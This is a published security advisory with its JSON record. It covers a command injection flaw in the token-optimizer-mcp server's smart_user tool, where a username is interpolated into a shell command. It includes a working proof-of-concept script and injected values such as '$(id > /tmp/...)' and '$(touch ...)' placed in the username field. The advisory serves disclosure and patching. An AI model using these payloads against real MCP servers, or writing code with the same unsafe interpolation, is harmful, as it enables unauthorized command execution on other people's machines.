GHSA-49MQ-FC6Q-3H46

Vulnerability from github – Published: 2026-08-14 21:42 – Updated: 2026-08-14 21:42
VLAI
Summary
Token Optimizer MCP: OS command injection in smart_user via username in get-user-info
Details

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.


Details

The vulnerable code path is in the smart_user implementation.

The username argument is eventually passed into a shell command similar to:

const { stdout: passwdOut } = await execAsync(
  `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"`id`"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

tool: smart_user
operation: get-user-info
argument: username

Root cause:

MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

Node.js installed
token-optimizer-mcp built from source

Build from source:

git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

Run the PoC:

cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys

id_out = sys.argv[1]

# This value is inserted into:
# getent passwd "${username}" || grep "^${username}:" /etc/passwd
# Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'

messages = [
    {
        "jsonrpc": "2.0",
        "id": "init",
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {
                "name": "poc",
                "version": "0"
            }
        }
    },
    {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {}
    },
    {
        "jsonrpc": "2.0",
        "id": "poc-smart-user",
        "method": "tools/call",
        "params": {
            "name": "smart_user",
            "arguments": {
                "operation": "get-user-info",
                "username": evil_username,
                "useCache": False
            }
        }
    }
]

for msg in messages:
    print(json.dumps(msg), flush=True)
PY

sleep 1

if [ -f "$ID_OUT" ]; then
  echo "[VULN CONFIRMED] smart_user command injection executed:"
  cat "$ID_OUT"
  ls -l "$ID_OUT"
else
  echo "[FAIL] smart_user id output file not created"
  tail -120 /tmp/token_optimizer_smart_user_poc.log
fi

Expected result:

[VULN CONFIRMED] smart_user command injection executed:
uid=1001(<local-user>) gid=1001(<local-user>) groups=...
-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...

In my test, the MCP response also showed that the payload reached the shell command:

Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd

The file /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

{
  "operation": "get-user-info",
  "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
  "useCache": false
}

Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

execution of `id` as the MCP server user
arbitrary file creation under /tmp through an injected command
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@ooples/token-optimizer-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-14T21:42:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`\u0027s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n  `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n\u2192 interpolated into shell command string\n\u2192 executed through execAsync()\n\u2192 shell evaluates $(...) / backticks\n\u2192 arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" \u003c\u003c\u0027PY\u0027 | timeout 20 node \"$ENTRY\" 2\u003e\u00261 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f\u0027$(id \u003e {id_out})\u0027\n\nmessages = [\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"init\",\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\n                \"name\": \"poc\",\n                \"version\": \"0\"\n            }\n        }\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"notifications/initialized\",\n        \"params\": {}\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"poc-smart-user\",\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"smart_user\",\n            \"arguments\": {\n                \"operation\": \"get-user-info\",\n                \"username\": evil_username,\n                \"useCache\": False\n            }\n        }\n    }\n]\n\nfor msg in messages:\n    print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n  echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n  cat \"$ID_OUT\"\n  ls -l \"$ID_OUT\"\nelse\n  echo \"[FAIL] smart_user id output file not created\"\n  tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(\u003clocal-user\u003e) gid=1001(\u003clocal-user\u003e) groups=...\n-rw-rw-r-- 1 \u003clocal-user\u003e \u003clocal-user\u003e ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id \u003e /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n  \"operation\": \"get-user-info\",\n  \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n  \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```",
  "id": "GHSA-49mq-fc6q-3h46",
  "modified": "2026-08-14T21:42:06Z",
  "published": "2026-08-14T21:42:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ooples/token-optimizer-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Token Optimizer MCP: OS command injection in smart_user via username in get-user-info"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…